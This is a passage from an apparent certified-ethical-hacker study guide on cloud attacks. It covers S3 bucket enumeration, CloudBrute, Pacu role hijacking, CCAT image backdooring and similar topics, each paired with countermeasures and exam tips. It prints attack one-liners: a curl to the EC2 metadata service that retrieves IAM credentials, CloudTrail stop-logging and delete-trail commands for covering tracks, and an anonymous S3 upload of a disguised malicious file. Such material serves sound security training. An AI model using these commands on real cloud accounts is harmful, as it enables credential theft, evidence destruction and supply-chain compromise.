2. Masscan sends SYN packets across the full port range at a very high rate, far faster than traditional scanners like Nmap.
3. Masscan reports every open port it discovers as it scans.
4. Results can be saved to a file (JSON or XML) for later analysis.

Real-world use: An attacker targeting a known cloud IP block runs Masscan across all 65,536 ports in minutes, something a full Nmap scan of the same range would take far longer to complete.

Tools and commands used here: `masscan` (full syntax, flags, and sample output are in section 5.1).

Countermeasures and defense: Minimize open ports to only what is required, use security groups/firewalls to restrict access by source IP, and deploy intrusion detection to flag unusually fast, broad port-scanning patterns (a Masscan scan is distinctly "noisy" and fast).

EXAM FOCUS: If a question emphasizes SPEED and SCALE of port scanning ("scanned the entire internet," "millions of packets per second"), the answer is Masscan, not Nmap.

Memory trick: "Masscan = mass scan, built purely for speed at scale."

3.32 Vulnerability Scanning using Prowler

What it is: Prowler is a multi-cloud security tool that attackers (with gathered credentials) or defenders can use to check for security loopholes: unsecured data transmission channels, overly permissive policies, and other vulnerabilities.

How it works:

1. The attacker (having already obtained some valid cloud credentials during enumeration) runs Prowler against a chosen cloud provider.
2. Prowler runs a large battery of automated checks against that provider's services (IAM, storage, compute, logging, and more).
3. Prowler outputs a report in the requested format (CSV, JSON, ASFF, OCSF, or HTML), listing every finding.
4. The attacker (or defender) reviews findings to identify exploitable misconfigurations.

Real-world use: A security team scheduled Prowler to run nightly against their AWS account; it flagged an S3 bucket with public-read access that had been accidentally left open, days before an actual attacker could find it.

Tools and commands used here: `prowler` (full syntax and command variants are in section 5.2).

Countermeasures and defense: Run Prowler (or an equivalent scanner) proactively and regularly as part of your own security operations, remediate every finding, and restrict IAM permissions so that even a stolen credential cannot run a full Prowler scan undetected.

EXAM FOCUS: Prowler, CloudSploit, and Scout Suite are easy to confuse; Prowler is historically AWS-first but now multi-cloud (AWS/ Azure/GCP/Kubernetes); remember it by its check-based, CLI-first design and its `--services`/`--checks` style flags.

Memory trick: "Prowler prowls through every cloud service, hunting for weak settings."

3.33 Identifying Misconfigurations in Cloud Resources Using CloudSploit

What it is: CloudSploit is an automated scanning tool for finding cloud misconfigurations: permissive IAM policies, exposed storage buckets, unsecured databases, and misconfigured network security groups.

How it works:

1. The attacker runs a standard CloudSploit scan against the target cloud account (`node index.js`).
2. CloudSploit tests each configured plugin/check (for example, "ACM Certificate Validation") against the account's actual resources.
3. CloudSploit can also run compliance-mapped scans, tagging findings against a specific framework: HIPAA, PCI, or CIS Benchmarks.
4. Results list category, plugin, description, affected resource, region, status (OK/WARN), and a human-readable message.

Real-world use: A compliance auditor runs CloudSploit with `--compliance=pci` to generate a report mapping every finding specifically to PCI-DSS requirements, rather than a generic misconfiguration list.

Tools and commands used here: `node index.js` (full syntax and compliance-mapping flags are in section 5.3).

Countermeasures and defense: Treat every CloudSploit WARN as an action item; prioritize certificate validation, public storage exposure, and IAM policy findings first, since those are the most commonly exploited.

EXAM FOCUS: CloudSploit's compliance-mapping flags (`-- compliance=hipaa`, `--compliance=pci`, `--compliance=cis`) are a distinct, testable detail versus Prowler's more check-category-based flags (`--services`, `--checks`).

Memory trick: "CloudSploit maps findings straight onto a compliance checklist (HIPAA/PCI/CIS)."

3.34 Cleanup and Maintaining Stealth

What it is: The set of actions an attacker takes after compromising a cloud environment to erase their traces and avoid detection, so they can keep their access longer and exfiltrate more data.

How it works (methods to achieve cleanup and stealth):

1. **Log manipulation:** delete or modify logs to remove or hide entries recording the attacker's malicious actions.
2. **Removing credentials and access management artifacts:** delete temporary credentials such as temporary access tokens or keys used during the attack.
3. **Manipulating system and service configurations:** revert or change configurations to undo any visible changes made during the attack.
4. **Implementing persistence mechanisms:** hide malicious code inside legitimate processes or services to disguise malware (tying into the full persistence techniques in sections 3.59-3.60, 3.72, 3.80).

Real-world use: After stealing data from an S3 bucket, an attacker deletes the specific CloudTrail log entries that recorded their API calls (see the detailed CloudTrail-tampering commands in section 3.59) so the incident response team finds a suspicious gap instead of a clear trail.

Tools and commands used here: AWS CLI (`aws cloudtrail stop- logging`, `aws cloudtrail delete-trail`, detailed in section 3.59).

Countermeasures and defense: Send logs to an immutable, centrally managed, separate-account log store that the compromised account cannot alter or delete; alert immediately whenever logging is disabled or a trail is deleted.

EXAM FOCUS: This slide corresponds to the CEH "Clearing Tracks" phase, applied specifically to cloud logging services; expect a scenario question where the giveaway is "the CloudTrail logs stopped recording for a period of time."

Memory trick: "Delete the footprints, keep the loot, blend back in."

3.35 Enumerating S3 Buckets

What it is: Simple Storage Service (S3) is Amazon's scalable cloud object storage, accessed via web APIs; enumerating S3 buckets means finding open/public buckets belonging to a target organization and retrieving their content.

How it works (three discovery techniques):

1. **Inspecting HTML:** attackers analyze the source code of a target's web pages in the background to find URLs that reference S3 buckets directly.
2. **Brute-forcing URLs:** attackers use tools (or Burp Suite) to brute-force possible bucket name variations against the S3 URL pattern until a valid, existing bucket name is found.

3. **Advanced Google Hacking (dorking):** attackers use Google search operators to find indexed S3 URLs. Example dorks: `inurl: s3.amazonaws.com`, `inurl: s3.amazonaws.com/audio/`, `inurl: s3.amazonaws.com/video/`, `site:s3.amazonaws.com`, combined with a target keyword such as `facebook`.

Real-world use: An attacker Googling `inurl: s3.amazonaws.com facebook` finds a forgotten, publicly listable bucket named `facebookfiles` that still contains old images and documents, none of which should have been publicly reachable.

Tools and commands used here: CloudBrute, S3Scanner, Bucket Finder/ "Bucket Flaws," BucketLoot (full commands and sample output for S3Scanner and BucketLoot are in section 5.4; CloudBrute demo is in section 3.36).

Countermeasures and defense: Block all public access at the account level (S3 Block Public Access), audit bucket policies and ACLs regularly, and never assume an "unlisted" bucket name is actually secret.

EXAM FOCUS: Google dorking for cloud storage is a recurring exam theme across providers; the pattern `inurl:<provider-storage-domain>` combined with a target name works the same way for GCP (`storage.googleapis.com`) as it does for AWS.

Memory trick: "Read the page's source, guess the name, or just ask Google - three ways to find a forgotten bucket."

3.36 Enumerating S3 Buckets using CloudBrute

What it is: CloudBrute is a tool that brute-forces, generates, and validates possible cloud storage bucket names for a target organization and keyword combination, then checks which ones are actually open to the public.

How it works:

1. The attacker supplies a target domain, a keyword, and a wordlist.
2. CloudBrute generates candidate bucket names by combining the target and keyword with common naming patterns from the wordlist.
3. CloudBrute checks each candidate name against the cloud provider and reports status: `403 Protected` (exists, but access denied) or `200 Open` (exists and is publicly accessible).
4. The attacker opens any `200 Open` result in a browser or copies the bucket's XML listing to view its contents directly.

Real-world use: Running CloudBrute against `amazon.com` with the keyword `facebook` and a bucket wordlist quickly turns up `facebookcontent.s3.amazonaws.com` marked `200: Open`, exposing a listable directory of files with modification dates, sizes, and direct download keys.

Tools and commands used here: `cloudbrute` (full syntax, flag table, and sample output in section 5.5).

Countermeasures and defense: Same as section 3.35: block public access by default, and monitor for repeated `403` responses from a single source, which indicates an active brute-force enumeration attempt.

EXAM FOCUS: A `403: Protected` result from CloudBrute still confirms the bucket NAME EXISTS, even though its contents are not accessible; a question may test whether you understand that `403` is not the same as "does not exist."

Memory trick: "CloudBrute guesses the name; the HTTP status code tells you if the door is locked (403) or wide open (200)."

3.37 Enumerating EC2 Instances

What it is: Amazon EC2 (Elastic Compute Cloud) provides resizable compute capacity in AWS; enumerating EC2 instances means using AWS CLI commands (with some level of valid access) to list instances, their volumes, snapshots, security groups, and related networking details.

How it works: the attacker, having obtained some AWS access, runs a series of `aws ec2 describe-*` and related commands to map the target's compute footprint: instances, volumes, snapshots (checking for public ones), security groups, fleets, dedicated hosts, instance profile roles, SSH key pairs, subnets, and VPC endpoints/peering.

Real-world use: An attacker who obtained limited read-only AWS credentials runs `aws ec2 describe-instances` first to map every live server, then `aws ec2 describe-security-groups` to find which of those servers has an exploitable open port.

Tools and commands used here: `aws ec2 describe-instances`, `aws ec2 describe-volumes`, `aws ec2 describe-snapshots`, `aws ec2 describe-security-groups`, `aws ec2 describe-fleet-instances`, `aws ec2 describe-fleets`, `aws ec2 describe-hosts`, `aws iam get-instance- profile`, `aws ec2 describe-key-pairs`, `aws ec2 describe-subnets`, `aws ec2 describe-vpc-endpoints`, `aws ec2 describe-vpc-peering- connections` (full table in section 5.6).

Countermeasures and defense: Apply least-privilege IAM policies so a compromised low-privilege credential cannot run broad `describe-*` enumeration across the whole account; enable AWS CloudTrail to detect unusual enumeration bursts.

EXAM FOCUS: Every AWS CLI "enumerate" command in this module follows the same pattern: `aws <service> describe-<resource>` or `list-<resource>`; recognizing this pattern lets you reason out what an unfamiliar command does even if you have not memorized it exactly.

Memory trick: "If it starts with `aws ec2 describe-`, it is reading information, not changing anything, yet."

3.38 Enumerating AWS RDS Instances

What it is: Amazon RDS (Relational Database Service) runs managed databases in AWS; enumerating RDS means using AWS CLI commands to discover database instances, their security groups, backups, and snapshots, including any that are public.

How it works: with the IAM permission `rds:DescribeDBInstances` (and related `Describe*` permissions), the attacker runs commands to view all provisioned RDS instances, list one specific instance by identifier, check DB security groups, get automated backup details, list DB snapshots, and specifically check for public snapshots that can be shared across accounts.

Real-world use: An attacker finds, via `aws rds describe-db- snapshots --include-public --snapshot-type public`, that a database snapshot containing customer records was accidentally shared publicly, and restores a copy of it into their own account to read the data.

Tools and commands used here: `aws rds describe-db-instances`, `aws rds describe-db-security-groups`, `aws rds describe-db-instance- automated-backups`, `aws rds describe-db-snapshots`, `aws rds describe-db-snapshots --include-public --snapshot-type public` (full table in section 5.7).

Countermeasures and defense: Never mark RDS snapshots as public; regularly audit snapshot sharing settings; restrict `rds:DescribeDBInstances` and snapshot-sharing permissions to a small trusted group.

EXAM FOCUS: The `--include-public --snapshot-type public` flag combination is specifically testable: it is the one command in this list that looks for data exposed OUTSIDE the account, not just information about the account's own resources.

Memory trick: "Six commands, one worry: is any snapshot marked public?"

3.39 Enumerating AWS Account IDs and IAM Roles

What it is: Two related recon goals: discovering an AWS account's unique numeric ID, and discovering what IAM roles exist within it, both of which help an attacker plan further attacks (like the `aws sts assume-role` lateral movement in section 3.61).

How it works (Account ID discovery):

1. Publicly shared resources, such as S3 bucket ARNs, may reveal the AWS account ID embedded in the resource name.
2. Amazon Resource Names (ARNs) shared in documentation, error messages, or logs directly expose the account ID (ARNs always contain the account ID as a field).
3. Sharing IAM policies or roles with external parties can leak the account ID.

How it works (IAM Role enumeration):

1. In AWS, a failed `sts:AssumeRole` attempt returns different response messages depending on whether the role actually exists, letting attackers enumerate valid role names just from the error text.
2. Through this and other recon, attackers learn: internal software/ stacks in use, IAM usernames, AWS services in use, and third-party software in use.
3. Attackers can use Principal Mapper to visualize IAM users and roles, revealing privilege escalation paths across the account.

Real-world use: An attacker scripts hundreds of `sts:assume-role` attempts against guessed role names; AWS's distinct error messages for "role does not exist" versus "access denied" let the attacker build a confirmed list of real role names without ever successfully assuming one.

Tools and commands used here: Principal Mapper (role/privilege visualization); the role-assumption-based enumeration script shown in section 3.51 (AssumeRoleEnum, used by Pacu-style tooling).

Countermeasures and defense: Avoid leaking ARNs in public-facing error messages or documentation; consider that role-name enumeration via error-message differences is hard to fully prevent, so focus instead on strict trust-policy conditions and monitoring for `AssumeRole` failure bursts.

EXAM FOCUS: The exam angle: AWS account IDs are not secret by design (they appear in ARNs), but they ARE a useful recon building block; a question may ask what information an ARN inherently contains (answer: includes the account ID).

Memory trick: "The ARN always carries the account's ID tag, whether you meant to share it or not."

3.40 Enumerating Weak IAM Policies using Cloudsplaining

What it is: Cloudsplaining identifies weak or overly permissive AWS IAM policies that attackers can abuse for privilege escalation, resource modification, and data exfiltration.

How it works:

1. The attacker (or auditor) runs the AWS CLI to export every IAM policy attached to every user, group, and role into a single JSON file (`aws iam get-account-authorization-details`).
2. Cloudsplaining scans that exported JSON file for risky patterns: wildcard permissions, missing resource constraints, and known dangerous permission combinations.
3. Cloudsplaining generates an HTML report categorizing each IAM principal's risks: Credentials Exposure, Data Exfiltration, Resource Exposure, and Privilege Escalation.
4. The attacker opens the HTML report to find the easiest path to privilege escalation.

Real-world use: Cloudsplaining flags a role with an inline policy granting `iam:*` on all resources; an attacker who can assume that role instantly has a documented path to full account takeover.

Tools and commands used here: `aws iam get-account-authorization- details`, `cloudsplaining scan` (full syntax in section 5.8).

Countermeasures and defense: Run Cloudsplaining (or AWS Access Analyzer) regularly against your own account, remove wildcard permissions, and scope every policy to the minimum resources and actions actually needed.

EXAM FOCUS: Cloudsplaining works OFFLINE against an exported JSON file, not live against the AWS API on every run; this distinguishes it from live-scanning tools like Prowler and is a testable detail.

Memory trick: "Export the policies once, then let Cloudsplaining read between the lines for danger."

3.41 Enumerating AWS Cognito

What it is: AWS Cognito is Amazon's service for authentication, authorization, and user management for web and mobile apps; enumerating it means gathering information about users and attributes inside Cognito user pools and identity pools.

How it works:

1. **Enumerating user pools:** list all user pools (`list-user- pools`), then describe a specific one for detail (`describe-user- pool`).
2. **Enumerating identity pools:** list all identity pools (`list- identity-pools`), then describe a specific user pool tied to it.
3. **Checking for existing users:** attempt a sign-up with a guessed username; Cognito's response reveals whether that username already exists, without needing valid credentials.

Real-world use: An attacker runs the sign-up-based username check against a target's Cognito pool to confirm whether a specific employee's email address is already a registered user, which is the first step toward a targeted credential-stuffing or phishing attempt.

Tools and commands used here: `aws cognito-idp list-user-pools`, `aws cognito-idp describe-user-pool`, `aws cognito-identity list- identity-pools`, `aws cognito-idp sign-up` (full table in section 5.9).

Countermeasures and defense: Configure Cognito to return generic responses that do not confirm or deny username existence, enable MFA, and monitor for repeated sign-up attempts from the same source.

EXAM FOCUS: The sign-up username-existence check is a classic "account enumeration via error message" pattern, the same concept tested elsewhere in CEH (web login forms, Module 14) but applied here specifically to Cognito.

Memory trick: "Try to sign up as them; Cognito's answer tells you if they already exist."

3.42 Enumerating DNS Records of AWS Accounts using Ghostbuster

What it is: Ghostbuster gathers DNS records from targeted AWS accounts, specifically those managed through Amazon Route 53, helping attackers uncover IP addresses, subdomains, and mail servers, plus dangling resources.

How it works:

1. The attacker targets AWS accounts either directly by profile, or at scale across an entire AWS Organization using an assumable `GhostbusterTargetAccountRole`.
2. Ghostbuster scans Route 53-managed DNS records within the account(s) for dangling elastic IPs and other DNS-related exposures.
3. Results reveal infrastructure details that help plan further attacks, including subdomain takeover opportunities if a DNS record points to a resource no longer owned by the target.

Real-world use: Ghostbuster finds a DNS `CNAME` record still pointing to an S3 bucket name the target deleted months ago; the attacker claims that exact bucket name for themselves, instantly taking over whatever traffic the DNS record still sends there (a subdomain takeover).

Tools and commands used here: `ghostbuster scan aws` (full syntax and flags in section 5.10).

Countermeasures and defense: Clean up DNS records immediately when decommissioning a resource (S3 bucket, load balancer, IP); regularly audit Route 53 zones for dangling/orphaned records.

EXAM FOCUS: "Dangling elastic IP" and "subdomain takeover via deleted resource" are the key testable concepts; they apply across cloud providers, not just AWS.

Memory trick: "A DNS record pointing to a resource that no longer exists is an open door with the owner's name still on it."

3.43 Enumerating Serverless Resources in AWS

What it is: AWS CLI commands used to discover and inspect serverless resources: Lambda functions, their configuration, IAM role policies, DynamoDB tables, and API Gateway REST APIs.

How it works: the attacker lists all Lambda functions, examines a specific function's configuration, checks for any exposed function URLs, lists event sources that trigger a function, lists IAM policies attached to the function's execution role, enumerates DynamoDB table names (including global tables), and retrieves API Gateway REST API definitions.

Real-world use: An attacker finds, via `aws lambda list-function- url-configs`, that a Lambda function has a public Function URL enabled with no authentication, letting them invoke the function directly over HTTPS without ever touching the AWS console or CLI credentials.

Tools and commands used here: `aws lambda list-functions`, `aws lambda get-function-configuration`, `aws lambda list-function-url- configs`, `aws lambda list-event-source-mappings`, `aws iam list- attached-role-policies`, `aws dynamodb list-tables`, `aws dynamodb list-global-tables`, `aws apigateway get-rest-apis` (full table in section 5.11).

Countermeasures and defense: Require authentication (IAM auth or an API Gateway authorizer) on every Lambda Function URL and API Gateway endpoint; apply least privilege to Lambda execution roles so a compromised function cannot reach unrelated resources.

EXAM FOCUS: "Function URL" is a relatively newer AWS Lambda feature (a direct HTTPS endpoint per function); a question may test whether you know it can be configured with `NONE` (no auth) or `AWS_IAM` authentication type.

Memory trick: "List the function, check its URL, check who can call it."

3.44 Discovering Attack Paths using Cartography

What it is: Cartography is a graph-based tool that maps relationships and dependencies between cloud resources, helping attackers (and defenders) find misconfigurations and attack paths by visualizing how everything connects.

How it works:

1. Cartography ingests cloud resource data (AWS, GCP, and more) into a graph database (Neo4j).
2. The attacker runs graph queries (Cypher query language) to find specific patterns, such as RDS instances with encryption turned off, or EC2 instances exposed to the internet.
3. The visualized/tabular results highlight exploitable combinations that would be hard to spot from flat CLI output alone.

Real-world use: A Cartography query for `EC2Instance{exposed_ internet: true}` instantly lists every internet-facing EC2 instance across an entire AWS organization, something that would otherwise require calling `describe-instances` account by account, region by region.

Tools and commands used here: Cartography (graph queries, example syntax in section 5.12); related tools: Starbase, Cloudlist, AWS Recon, aws-inventory, CloudMapper.

Countermeasures and defense: Use the same graph-based approach defensively to proactively find and fix exposed resources before an attacker's query does.

EXAM FOCUS: Cartography's distinguishing feature is its GRAPH database model (relationships between resources), unlike flat scanners like Prowler/CloudSploit that produce a list of individual findings.

Memory trick: "Cartography draws the map; attack paths are the roads between resources."

3.45 Discovering Attack Paths using CloudFox

What it is: CloudFox scans AWS infrastructure for secrets in EC2 user data and environment variables, workloads with admin permissions, role trust relationships, hostnames, IPs, and filesystems, to quickly surface exploitable attack paths.

How it works: the attacker runs CloudFox against a configured AWS CLI profile to run all available checks at once, or targeted checks: enumerate active access keys for all users, identify all Elastic Network Interfaces (ENIs), list all IAM permissions available to a specific principal, and identify workloads running with admin-level permissions.

Real-world use: CloudFox's `workloads` check instantly flags an EC2 instance whose attached IAM role has full `AdministratorAccess`, which is often the single fastest path to full account compromise once an attacker can reach that instance.

Tools and commands used here: `cloudfox aws --profile <profile> all-checks`, `access-keys`, `eni`, `permissions`, `workloads` (full table in section 5.13).

Countermeasures and defense: Never attach broad administrative policies directly to EC2 instance roles; scope each workload's IAM role to only what that specific workload needs.

EXAM FOCUS: CloudFox and Cartography are both "attack path" discovery tools but differ in approach: CloudFox runs targeted, CLI-style checks; Cartography builds a full graph database you then query yourself. A question contrasting them tests this distinction.

Memory trick: "CloudFox hunts specific weak spots; Cartography draws the whole map and lets you search it."

3.46 Identifying Security Groups Exposed to the Internet

What it is: The technique of finding AWS security groups that allow unrestricted inbound traffic (`0.0.0.0/0`) on sensitive ports such as SSH, HTTP, HTTPS, or MySQL, exposing those services to internet-wide attacks like brute forcing.

How it works (two techniques):

1. **Using the AWS Management Console:** navigate to the EC2 Dashboard, select "Security Groups," and review the inbound/ outbound rules for any group allowing access from `0.0.0.0/0`.

2. **Using the AWS CLI:** run `aws ec2 describe-security-groups` with a filter for `ip-permission.cidr` equal to `0.0.0.0/0` or `::/0`, optionally combined with a specific port filter, to directly list every over-permissive rule.

Real-world use: A CLI-based scan reveals a security group allowing `0.0.0.0/0` on port 3389 (RDP); the attacker now knows exactly which instance to target with a credential brute-force or known-exploit attempt.

Tools and commands used here: `aws ec2 describe-security-groups --filter`, `aws ec2 authorize-security-group-ingress` (the second command is how an attacker who has already gained write access can widen an existing rule to `0.0.0.0/0`; full syntax in section 5.14).

Countermeasures and defense: Restrict security group rules to specific known IP ranges rather than `0.0.0.0/0`; use a bastion host or VPN for administrative access instead of exposing SSH/RDP directly; alert immediately on any new `0.0.0.0/0` ingress rule.

EXAM FOCUS: `0.0.0.0/0` (and its IPv6 equivalent `::/0`) means "any IP address on the internet"; recognizing this CIDR notation instantly is a frequently tested detail across multiple modules.

Memory trick: "`0.0.0.0/0` means the whole internet is on the guest list."

3.47 AWS Threat Emulation using Stratus Red Team

What it is: Stratus Red Team is described as "Atomic Red Team for the cloud": a tool that emulates specific offensive attack techniques against AWS, GCP, Azure, and Kubernetes in a granular, self-contained, and reversible way, mapped to the MITRE ATT&CK framework.

How it works:

1. The user lists available attack techniques filtered by platform and MITRE ATT&CK tactic (for example, `persistence` on AWS).
2. Each technique has an ID, name, platform, and mapped tactic (for example, `aws.persistence.backdoor-lambda-function`).
3. The user "detonates" (executes) a chosen technique against their own test environment, and Stratus Red Team performs the exact attack steps (such as backdooring a Lambda function's resource policy) and logs the result.
4. Because each technique is self-contained, the environment can be "cleaned up" afterward.

Real-world use: A blue team uses Stratus Red Team to safely detonate `aws.persistence.backdoor-iam-role` in a test AWS account, then verifies whether their own detection tooling (like GuardDuty or a SIEM) actually caught the activity.

Tools and commands used here: `stratus list --platform aws --mitre-attack-tactic persistence`, `stratus detonate <technique-id>` (full syntax in section 5.15).

Countermeasures and defense: Use Stratus Red Team defensively to test whether your monitoring and alerting actually detect known attack techniques, rather than assuming your defenses work.

EXAM FOCUS: Stratus Red Team is a THREAT EMULATION / breach-and- attack-simulation (BAS) tool, not an exploitation framework used against real unauthorized targets; expect a question distinguishing it from Pacu (section 3.51), which is built for actual exploitation.

Memory trick: "Stratus Red Team = Atomic Red Team, but for clouds instead of endpoints."

3.48 Gathering Cloud Keys Through IMDS Attack (Demo)

What it is: The hands-on version of the IMDS attack from section 3.23: using `curl` from inside a compromised EC2 instance to pull the instance's attached IAM role name, then its temporary access keys, directly from the metadata service.

How it works:

1. From a shell on the compromised EC2 instance, the attacker runs `curl http://169.254.169.254/latest/meta-data/iam/security- credentials/` to list the IAM role(s) attached to the instance (for example, `s3_access_for_ec2`).
2. The attacker appends that role name to the same URL path to fetch its full credentials: `AccessKeyId`, `SecretAccessKey`, a session `Token`, and an `Expiration` timestamp.
3. The attacker copies these temporary credentials into their own AWS CLI configuration to act as that role, with whatever permissions it holds.

Real-world use: A server-side request forgery (SSRF) bug in a web app lets an attacker make the vulnerable server itself issue the `curl` request above (see section 3.55); the attacker never needs direct shell access to the instance at all.

Tools and commands used here: `curl http://169.254.169.254/ latest/meta-data/iam/security-credentials/[<role>]` (full syntax and sample JSON output in section 5.16).

Countermeasures and defense: Require IMDSv2 (session-token-based, much harder to trigger via a simple SSRF `GET` request), and apply the smallest possible IAM role permissions to every instance.

EXAM FOCUS: The returned JSON always has `Code: "Success"`, `AccessKeyId`, `SecretAccessKey`, `Token`, and `Expiration` fields; a question may show this JSON and ask what kind of credential it is (temporary STS-style credentials tied to an IAM role, not a long-term access key).

Memory trick: "List the roles, then ask for the one you want by name - IMDS hands over the keys."

3.49 Exploiting Misconfigured AWS S3 Buckets

What it is: The end-to-end process of finding a vulnerable (misconfigured, public, or writable) S3 bucket and then actually reading, uploading to, or deleting its contents.

How it works (6 steps):

1. **Identify S3 buckets:** use tools such as S3Scanner, lazys3, Bucket Finder, or s3-buckets-bruteforcer to find candidate bucket URLs.
2. **Set up the AWS CLI:** install `aws-cli` and verify the version.
3. **Extract access keys:** sign in to the IAM console, create a new user, and download the generated CSV containing access keys (this step assumes the attacker has some legitimate or stolen account access for setup purposes).
4. **Configure aws-cli:** run `aws configure` and enter the obtained keys.
5. **Identify vulnerable S3 buckets:** run `aws s3 ls s3://[bucket_name]` to confirm the bucket is listable/accessible.
6. **Exploit S3 buckets:** manipulate files directly, for example `aws s3 mv`, `aws s3 cp`, or `aws s3 rm`, often using the `--no-sign- request` flag when the bucket allows fully anonymous/ unauthenticated access.

Real-world use: An attacker who finds a public, writable S3 bucket uploads a malicious file disguised as a software update, using `aws s3 cp FileName s3://[bucket_name]/update.svg --no-sign-request`, poisoning whatever downstream system trusts that bucket's contents.

Tools and commands used here: `aws configure`, `aws s3 ls`, `aws s3 mv`, `aws s3 cp`, `aws s3 rm` (full syntax, flags, and `--no-sign- request` explanation in section 5.17).

Countermeasures and defense: Enable S3 Block Public Access account- wide, use bucket policies with explicit deny rules for anonymous access, and enable S3 object versioning plus MFA Delete to limit damage from unauthorized writes/deletes.

EXAM FOCUS: `--no-sign-request` is the specific flag that tells the AWS CLI "do not use any credentials at all," which only works against buckets that permit fully anonymous access; recognizing this flag is a direct exam target.

Memory trick: "No sign, no problem - if the bucket lets anyone in unsigned."

3.50 Compromising AWS IAM Credentials

What it is: A catalog of the common ways attackers actually obtain valid AWS IAM credentials in the first place, as opposed to the technical exploitation steps once they have them.

How it works (6 methods):

1. **Repository misconfigurations:** attackers find AWS keys accidentally committed to an internal Git repository.

2. **Social engineering:** fake emails, calls, or SMS trick users into revealing their AWS IAM credentials directly.
3. **Password reuse:** the same password used across multiple services lets an attacker pivot from one breached service straight into AWS.
4. **Vulnerabilities in AWS-hosted applications:** bugs such as local file read or SSRF let attackers steal AWS IAM credentials from the application itself (connects directly to the IMDS/SSRF attack in sections 3.23, 3.48, 3.55).
5. **Exploiting third-party software:** compromising third-party tools used to manage cloud services grants high-level access to stored cloud data.
6. **Insider threat:** a disgruntled employee uses their own legitimate credentials to make direct, damaging code changes or leak private information.

Real-world use: A developer accidentally commits a `.env` file containing live AWS access keys to a public GitHub repository; within minutes, automated credential-scanning bots (run by attackers) find and use the leaked keys.

Tools and commands used here: none specific; GitHub/GitLab secret-scanning (defender side), DumpsterDiver (section 3.52, for local/internal secret scanning).

Countermeasures and defense: Use git-secrets or pre-commit hooks to block credential commits, rotate any key that was ever committed to version control (even if later deleted, since git history retains it), enforce unique passwords and MFA, and monitor for credential use from unexpected geographic locations.

EXAM FOCUS: "Found AWS keys in a public GitHub repo" is one of the most common real-world and exam-scenario credential-compromise stories; always treat any key that touched version control as compromised and rotate it, even after deleting the commit.

Memory trick: "Git leaks, phishing, reused passwords, buggy apps, bad vendors, or a bad insider - six doors to the same stolen key."

3.51 Hijacking Misconfigured IAM Roles using Pacu

What it is: Pacu is an open-source AWS exploitation framework used to enumerate and hijack misconfigured IAM roles, taking advantage of overly permissive `sts:AssumeRole` trust policies.

How it works:

1. A role's trust policy may allow `sts:AssumeRole` from a wildcard principal (`"Principal": "*"`), meaning ANY AWS account could assume it.
2. The attacker runs a role-enumeration script (such as `assume_role_enum.py`, the technique Pacu automates) against a target account ID, guessing role names and attempting `sts:AssumeRole` on each.
3. A "restricted role" response means the role exists but cannot be assumed; a "vulnerable role" response means the attacker successfully assumed it.

4. On success, the attacker receives temporary credentials (`AccessKeyId`, `SecretAccessKey`, `SessionToken`) for that role and can act with its permissions.

Real-world use: An attacker finds that a role named `APIGateway` in a target account has a trust policy with `Principal: "*"`; running the enumeration script successfully assumes that role and returns full working credentials, all without ever phishing anyone or touching the target's own network.

Tools and commands used here: Pacu, `assume_role_enum.py` (sample output and workflow in section 5.18).

Countermeasures and defense: Never use a wildcard principal in a trust policy; always scope `sts:AssumeRole` trust relationships to specific, named AWS account IDs (and ideally specific role ARNs); add an `ExternalId` condition for any cross-account trust.

EXAM FOCUS: The giveaway in a scenario question is a role's trust policy containing `"Principal": "*"` or an overly broad account-level principal with no external ID condition; that is a direct invitation for role hijacking.

Memory trick: "If any account can assume the role, every attacker account can too."

3.52 Scanning AWS Access Keys using DumpsterDiver

What it is: DumpsterDiver scans large volumes of files (or whole directories/archives) for hardcoded secret keys, such as AWS access keys and SSL keys, and hardcoded passwords.

How it works:

1. The attacker (or auditor) points DumpsterDiver at a directory to scan using `-p /path/to/scan`.
2. DumpsterDiver checks file contents against predefined rules (in a `rules.yaml` file) for patterns matching known secret formats, like AWS access key IDs.
3. It can target a specific secret category, such as `-e AWS_KEY`, to scan only for that type.
4. DumpsterDiver also flags "high entropy" strings, since randomness above a certain threshold often indicates an unlabeled secret or key that does not match a known pattern.
5. The tool reports every match with the exact file path where it was found.

Real-world use: DumpsterDiver scanning a company's old file-share backup finds a forgotten `config.php` file containing a high-entropy string that turns out to be an unrotated API secret, years after the original developer left the company.

Tools and commands used here: `dumpsterDiver -p /path/to/scan`, `dumpsterDiver -p /path/to/scan -e AWS_KEY` (full syntax and sample output in section 5.19).

Countermeasures and defense: Never hardcode secrets in source code or config files; use a secrets manager (AWS Secrets Manager, HashiCorp Vault); run a secret-scanning tool like DumpsterDiver or TruffleHog against your own codebase and file shares regularly.

EXAM FOCUS: "High entropy" is a specific, testable detection method: it flags secrets by their RANDOMNESS, not by matching a known pattern, which is how DumpsterDiver can find secret types it was never explicitly told to look for.

Memory trick: "Rules catch known shapes; entropy catches anything that just 'looks random enough' to be a secret."

3.53 Exploiting Docker Containers on AWS using Cloud Container Attack Tool (CCAT)

What it is: CCAT is a tool for testing the security of container environments on AWS, specifically targeting Elastic Container Registry (ECR) repositories to enumerate, pull, backdoor, and push modified Docker images.

How it works (4 steps):

1. **Abuse AWS credentials:** use CCAT's "Enumerate ECR" module to list every available ECR repository the stolen/obtained credentials can see.
2. **Pull the target Docker image:** use the "Pull Repos from ECR" module to download the target repository's image locally.
3. **Create a backdoor image:** use the "Docker Backdoor" module to build a reverse-shell backdoor into the image, replacing its default `CMD` instruction.
4. **Push the backdoor Docker image:** use the "Push Repos to ECR" module to upload the modified, backdoored image back to the same ECR repository, where it will be used the next time that image is deployed.

Real-world use: An attacker with write access to one ECR repository backdoors a widely-reused base image; every future deployment that pulls "the usual" image from that repository unknowingly launches the attacker's reverse shell as well.

Tools and commands used here: CCAT (interactive menu-driven tool; module names and workflow in section 5.20).

Countermeasures and defense: Enforce image signing (Docker Content Trust) so unsigned/modified images are rejected, restrict ECR push/write permissions tightly, and scan every pushed image for unexpected changes before it is allowed to deploy.

EXAM FOCUS: The specific attack chain to remember: enumerate -> pull -> backdoor -> push BACK to the same repository, so the next legitimate deployment pulls the attacker's poisoned image automatically. This is a supply-chain-style attack, similar in spirit to the "Embedded Malware" container vulnerability from section 3.14.

Memory trick: "CCAT does not attack the running container, it poisons the recipe (image) so every future container is already infected."

3.54 Exploiting Shadow Admins in AWS using SkyArk

What it is: Shadow admins are user accounts holding specific, often-overlooked permissions that let an attacker effectively act as an administrator, even though the account is not formally labeled as one; SkyArk is a tool specifically built to discover these entities in AWS and Azure.

How it works (3 abuse paths):

